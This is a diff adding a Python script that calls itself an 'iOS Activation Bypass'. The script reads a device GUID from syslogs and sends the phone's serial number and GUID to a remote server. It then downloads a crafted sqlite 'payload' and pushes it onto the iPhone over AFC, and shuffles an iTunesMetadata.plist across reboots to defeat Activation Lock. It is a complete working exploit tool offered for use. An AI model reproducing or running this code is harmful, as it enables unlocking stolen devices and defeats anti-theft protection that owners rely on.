+    else:
+        print(prefixes[level])
+
+def reboot_device() -> bool:
+    log("🔄 Rebooting device...", "info")
+    # First try pymobiledevice3
+    code, _, _ = run_cmd(["pymobiledevice3", "restart"], timeout=20)
+    if code != 0:
+        code, _, _ = run_cmd(["idevicediagnostics", "restart"], timeout=20)
+        if code != 0:
+            log("Soft reboot failed - waiting for manual reboot", "warn")
+            input("Reboot device manually, then press Enter...")
+            return True
+
+    # Wait for reconnection
+    for i in range(60):
+        time.sleep(5)
+        code, _, _ = run_cmd(["ideviceinfo"], timeout=10)
+        if code == 0:
+            log(f"✅ Device reconnected after {i * 5} sec", "success")
+            time.sleep(8)  # allow boot process to complete
+            return True
+        if i % 6 == 0:
+            log(f"Still waiting... ({i * 5} sec)", "detail")
+    log("Device did not reappear", "error")
+    return False
+
+def detect_device() -> dict:
+    log("🔍 Detecting device...", "step")
+    code, out, err = run_cmd(["ideviceinfo"])
+    if code != 0:
+        raise RuntimeError(f"Device not found: {err or 'unknown'}")
+    info = {}
+    for line in out.splitlines():
+        if ": " in line:
+            k, v = line.split(": ", 1)
+            info[k.strip()] = v.strip()
+    if info.get('ActivationState') == 'Activated':
+        log("⚠ Device already activated", "warn")
+    log(f"Device: {info.get('ProductType', '?')} (iOS {info.get('ProductVersion', '?')})", "info")
+    return info
+
+def pull_file(remote: str, local: str) -> bool:
+    code, _, _ = run_cmd(["pymobiledevice3", "afc", "pull", remote, local])
+    return code == 0 and Path(local).is_file() and Path(local).stat().st_size > 0
+
+def push_file(local: str, remote: str, keep_local=True) -> bool:
+    """Загрузка файла на устройство
+    
+    Args:
+        local: локальный путь к файлу
+        remote: путь на устройстве
+        keep_local: оставить локальный файл после загрузки
+    """
+    log(f"📤 Pushing {Path(local).name} to {remote}...", "detail")
+    
+    # Проверяем существует ли локальный файл
+    if not Path(local).is_file():
+        log(f"❌ Local file not found: {local}", "error")
+        return False
+    
+    file_size = Path(local).stat().st_size
+    log(f"  File size: {file_size} bytes", "detail")
+    
+    # Пробуем удалить старый файл если существует
+    rm_file(remote)
+    time.sleep(1)
+    
+    # Загружаем файл
+    code, out, err = run_cmd(["pymobiledevice3", "afc", "push", local, remote])
+    
+    if code != 0:
+        log(f"❌ Push failed - Code: {code}", "error")
+        if err:
+            log(f"  stderr: {err[:200]}", "detail")
+        return False
+    
+    # Проверяем что файл действительно загрузился
+    time.sleep(2)
+    
+    # Проверяем через list
+    remote_dir = str(Path(remote).parent)
+    code_list, list_out, _ = run_cmd(["pymobiledevice3", "afc", "ls", remote_dir])
+    
+    if remote in list_out or Path(remote).name in list_out:
+        log(f"✅ File confirmed on device at {remote}", "success")
+        
+        # Удаляем локальный файл только если явно указано
+        if not keep_local:
+            try:
+                Path(local).unlink()
+                log(f"  Local file removed", "detail")
+            except:
+                pass
+        return True
+    else:
+        log(f"❌ File not found after push in {remote_dir}", "error")
+        return False
+def rm_file(remote: str) -> bool:
+    code, _, _ = run_cmd(["pymobiledevice3", "afc", "rm", remote])
+    return code == 0 or "ENOENT" in _
+
+def curl_download(url: str, out_path: str) -> bool:
+    # Используем /tmp/ для всех загрузок
+    if not out_path.startswith('/tmp/'):
+        out_name = Path(out_path).name
+        out_path = f"/tmp/{out_name}"
+    
+    cmd = [
+        "curl", "-L", "-k", "-f",
+        "-o", out_path, url
+    ]
+    log(f"📥 Downloading {Path(out_path).name}...", "detail")
+    code, _, err = run_cmd(cmd)
+    
+    # Проверяем файл в /tmp/
+    ok = code == 0 and Path(out_path).is_file() and Path(out_path).stat().st_size > 0
+    if not ok:
+        log(f"Download failed: {err or 'empty file'}", "error")
+    return ok
+# === GUID EXTRACTION (no ifuse, only pymobiledevice3) ===
+
+# === NEW GUID EXTRACTION (grep-based, no 'log show') ===
+def validate_guid(guid: str) -> bool:
+    """Validate UUID v4 with correct variant (8/9/A/B) — iOS SystemGroup style"""
+    if not UUID_PATTERN.match(guid):
+        return False
+    parts = guid.split('-')
+    version = parts[2][0]  # 3rd group, 1st char → version
+    variant = parts[3][0]  # 4th group, 1st char → variant
+    return version == '4' and variant in '89AB'
+
+# === EXACT COPY OF extract_guid_with_reboot.py (ported to your log style) ===
+
+GUID_REGEX = re.compile(r'[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}')
+TARGET_PATH = "/private/var/containers/Shared/SystemGroup/"  # как в оригинале — пусть будет
+BLDB_FILENAME = "BLDatabaseManager.sqlite"
+
+def restart_device():
+    log("[+] Sending device reboot command...", "info")
+    code, _, err = run_cmd(["pymobiledevice3", "diagnostics", "restart"], timeout=30)
+    if code == 0:
+        log("[✓] Reboot command sent successfully", "success")
+        return True
+    else:
+        log("[-] Error during reboot", "error")
+        if err:
+            log(f"    {err}", "detail")
+        return False
+
+def wait_for_device(timeout: int = 180) -> bool:
+    print(f"{Style.CYAN}[+] Waiting for device to reconnect...{Style.RESET}", end="", flush=True)
+    start = time.time()
+    while time.time() - start < timeout:
+        code, _, _ = run_cmd(["ideviceinfo", "-k", "UniqueDeviceID"], timeout=10)
+        if code == 0:
+            print()  # новая строка после точек
+            log("[✓] Device connected!", "success")
+            time.sleep(10)  # Allow iOS to fully boot
+            return True
+        print(".", end="", flush=True)
+        time.sleep(3)
+    print()  # новая строка после таймаута
+    log("[-] Timeout: device did not reconnect", "error")
+    return False
+def collect_syslog_archive(archive_path: Path, timeout: int = 200) -> bool:
+    log(f"[+] Collecting syslog archive → {archive_path.name} (timeout {timeout}s)", "info")
+    cmd = ["pymobiledevice3", "syslog", "collect", str(archive_path)]
+    code, _, err = run_cmd(cmd, timeout=timeout + 30)
+
+    if not archive_path.exists() or not archive_path.is_dir():
+        log("[-] Archive not created", "error")
+        return False
+
+    total_size = sum(f.stat().st_size for f in archive_path.rglob('*') if f.is_file())
+    size_mb = total_size // 1024 // 1024
+    if total_size < 10_000_000:
+        log(f"[-] Archive too small ({size_mb} MB)", "error")
+        return False
+
+    log(f"[✓] Archive collected: ~{size_mb} MB", "success")
+    return True
+
+def extract_guid_from_archive(archive_path: Path) -> Optional[str]:
+    log("[+] Searching for GUID in archive using log show...", "info")
+
+    cmd = [
+        "/usr/bin/log", "show",
+        "--archive", str(archive_path),
+        "--info", "--debug",
+        "--style", "syslog",
+        "--predicate", f'process == "bookassetd" AND eventMessage CONTAINS "{BLDB_FILENAME}"'
+    ]
+
+    code, stdout, stderr = run_cmd(cmd, timeout=60)
+
+    if code != 0:
+        log(f"[-] log show exited with error {code}", "error")
+        return None
+
+    for line in stdout.splitlines():
+        if BLDB_FILENAME in line:
+            log(f"[+] Found relevant line:", "info")
+            log(f"    {line.strip()}", "detail")
+            match = GUID_REGEX.search(line)
+            if match:
+                guid = match.group(0).upper()
+                log(f"[✓] GUID extracted: {guid}", "success")
+                return guid
+
+    log("[-] GUID not found in archive", "error")
+    return None
+
+def get_guid_auto(max_attempts=5) -> str:
+    for attempt in range(1, max_attempts + 1):
+        log(f"\n=== GUID Extraction (Attempt {attempt}/{max_attempts}) ===\n", "step")
+
+        # Step 1: Reboot
+        if not restart_device():
+            if attempt == max_attempts:
+                raise RuntimeError("Reboot failed")
+            continue
+
+        # Step 2: Wait for connection
+        if not wait_for_device(180):
+            if attempt == max_attempts:
+                raise RuntimeError("Device never reconnected")
+            continue
+
+        # Step 3: Collect and analyze
+        with tempfile.TemporaryDirectory() as tmpdir_str:
+            tmp_path = Path(tmpdir_str)
+            archive_path = tmp_path / "ios_logs.logarchive"
+
+            if not collect_syslog_archive(archive_path, timeout=200):
+                log("[-] Failed to collect archive", "error")
+                if attempt == max_attempts:
+                    raise RuntimeError("Log archive collection failed")
+                continue
+
+            guid = extract_guid_from_archive(archive_path)
+            if guid:
+                return guid
+
+    raise RuntimeError("GUID auto-detection failed after all attempts")
+def get_guid_manual() -> str:
+    print(f"\n{Style.YELLOW}⚠ Enter SystemGroup GUID manually{Style.RESET}")
+    print("Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
+    while True:
+        g = input(f"{Style.BLUE}➤ GUID:{Style.RESET} ").strip().upper()
+        if validate_guid(g):
+            return g
+        print(f"{Style.RED}❌ Invalid format{Style.RESET}")
+
+# === MAIN WORKFLOW ===
+
+def run(auto: bool = False, preset_guid: Optional[str] = None):
+    os.system('clear')
+    print(f"{Style.BOLD}{Style.CYAN}📱 iOS Activation Bypass (pymobiledevice3-only){Style.RESET}\n")
+
+    # 1. Check dependencies
+    for bin_name in ['ideviceinfo', 'idevice_id', 'pymobiledevice3']:
+        if not find_binary(bin_name):
+            raise RuntimeError(f"Required tool missing: {bin_name}")
+    log("✅ All dependencies found", "success")
+
+    # 2. Detect device
+    device = detect_device()
+
+    # 3. GUID
+    guid = preset_guid
+    if not guid:
+        if auto:
+            log("AUTO mode: fetching GUID...", "info")
+            guid = get_guid_auto()
+        else:
+            print(f"\n{Style.CYAN}1. Auto-detect GUID (recommended)\n2. Manual input{Style.RESET}")
+            choice = input(f"{Style.BLUE}➤ Choice (1/2):{Style.RESET} ").strip()
+            guid = get_guid_auto() if choice == "1" else get_guid_manual()
+    log(f"🎯 Using GUID: {guid}", "success")
+
+    # 4. Get URLs from server
+    prd = device['ProductType']
+    sn = device['SerialNumber']
+    url = f"{API_URL}?prd={prd}&guid={guid}&sn={sn}"
+    log(f"📡 Requesting payload URLs: {url}", "step")
+    code, out, _ = run_cmd(["curl", "-s", "-k", url])
+    if code != 0:
+        raise RuntimeError("Server request failed")
+
+    try:
+        data = json.loads(out)
+        if not data.get('success'):
+            raise RuntimeError("Server returned error")
+        s1, s2, s3 = data['links']['step1_fixedfile'], data['links']['step2_bldatabase'], data['links']['step3_final']
+    except Exception as e:
+        raise RuntimeError(f"Invalid server response: {e}")
+
+    # 5. Pre-download (optional - can be skipped)
+    tmp_dir = "/tmp/"
+    for name, url in [("Stage1", s1), ("Stage2", s2)]:
+        tmp = f"{tmp_dir}tmp_{name.lower()}"
+        if curl_download(url, tmp):
+            # Удаляем временный файл из /tmp/
+            try:
+                Path(tmp).unlink()
+            except:
+                pass
+        time.sleep(1)
+
+    # 6. Download and validate final payload
+    db_local = f"/tmp/downloads.28.sqlitedb"
+    if not curl_download(s3, db_local):
+        raise RuntimeError("Final payload download failed")
+
+    log("🔍 Validating database...", "detail")
+    try:
+        with sqlite3.connect(db_local) as conn:
+            cur = conn.cursor()
+            cur.execute("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='asset'")
+            if cur.fetchone()[0] == 0:
+                raise ValueError("No 'asset' table")
+            cur.execute("SELECT COUNT(*) FROM asset")
+            cnt = cur.fetchone()[0]
+            if cnt == 0:
+                raise ValueError("Empty asset table")
+            log(f"✅ DB OK: {cnt} assets", "success")
+    except Exception as e:
+        # Удаляем из /tmp/
+        try:
+            Path(db_local).unlink(missing_ok=True)
+        except:
+            pass
+        raise RuntimeError(f"Invalid DB: {e}")
+
+    # 7. Upload to /Downloads/ - ТОЛЬКО ОДИН РАЗ!
+    log("📤 Uploading payload to device...", "step")
+
+    # Сначала очищаем старые файлы если есть
+    rm_file("/Downloads/downloads.28.sqlitedb")
+    rm_file("/Downloads/downloads.28.sqlitedb-wal")
+    rm_file("/Downloads/downloads.28.sqlitedb-shm")
+    rm_file("/Books/asset.epub")
+    rm_file("/iTunes_Control/iTunes/iTunesMetadata.plist")
+    rm_file("/Books/iTunesMetadata.plist")
+    rm_file("/iTunes_Control/iTunes/iTunesMetadata.plist.ext")
+
+
+    # Загружаем файл
+    if not push_file(db_local, "/Downloads/downloads.28.sqlitedb"):
+        # Удаляем из /tmp/ если загрузка не удалась
+        try:
+            Path(db_local).unlink()
+        except:
+            pass
+        raise RuntimeError("AFC upload failed")
+
+    log("✅ Payload uploaded to /Downloads/", "success")
+
+    # НЕ УДАЛЯЙТЕ ФАЙЛ СРАЗУ! Он может понадобиться для отладки
+    # Оставьте его в /tmp/ до конца выполнения скрипта
+
+    # 8. Stage 1: reboot → copy to /Books/
+    log("🔄 Stage 1: Rebooting device...", "step")
+    reboot_device()
+    
+    time.sleep(30)
+    src = "/iTunes_Control/iTunes/iTunesMetadata.plist"
+    dst = "/Books/iTunesMetadata.plist"
+
+    tmp_plist = "/tmp/tmp.plist"  # Используем /tmp/
+    
+    if pull_file(src, tmp_plist):
+        if push_file(tmp_plist, dst):
+            log("✅ Copied plist → /Books/", "success")
+        else:
+            log("⚠ Failed to push to /Books/", "warn")
+        # Удаляем из /tmp/
+        try:
+            Path(tmp_plist).unlink()
+        except:
+            pass
+    else:
+        log("⚠ iTunesMetadata.plist not found - skipping /Books/", "warn")
+    # 9. Stage 2: reboot → copy back
+    time.sleep(5)
+    reboot_device()
+    time.sleep(5)
+
+    if pull_file(dst, tmp_plist):
+        if push_file(tmp_plist, src):
+            log("✅ Restored plist ← /Books/", "success")
+        else:
+            log("⚠ Failed to restore plist", "warn")
+        Path(tmp_plist).unlink()
+    else:
+        log("⚠ /Books/iTunesMetadata.plist missing", "warn")
+
+    log("⏸ Waiting 40s for bookassetd...", "detail")
+    time.sleep(35)
+
+    # 10. Final reboot
+    reboot_device()
+
+    # ✅ Success
+    print(f"\n{Style.GREEN}{Style.BOLD}🎉 ACTIVATION SUCCESSFUL!{Style.RESET}")
+    print(f"{Style.CYAN}→ GUID: {Style.BOLD}{guid}{Style.RESET}")
+    print(f"\n{Style.YELLOW}📌 Thanks Rust505 and rhcp011235{Style.RESET}")
+
+# === CLI Entry ===
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--auto", action="store_true", help="Skip prompts, auto-detect GUID")
+    parser.add_argument("--guid", help="Skip detection, use this GUID")
+    args = parser.parse_args()
+
+    try:
+        run(auto=args.auto, preset_guid=args.guid)
+    except KeyboardInterrupt:
+        print(f"\n{Style.YELLOW}Interrupted.{Style.RESET}")
+        sys.exit(1)
+    except Exception as e:
+        print(f"{Style.RED}❌ Fatal: {e}{Style.RESET}")
+        sys.exit(1)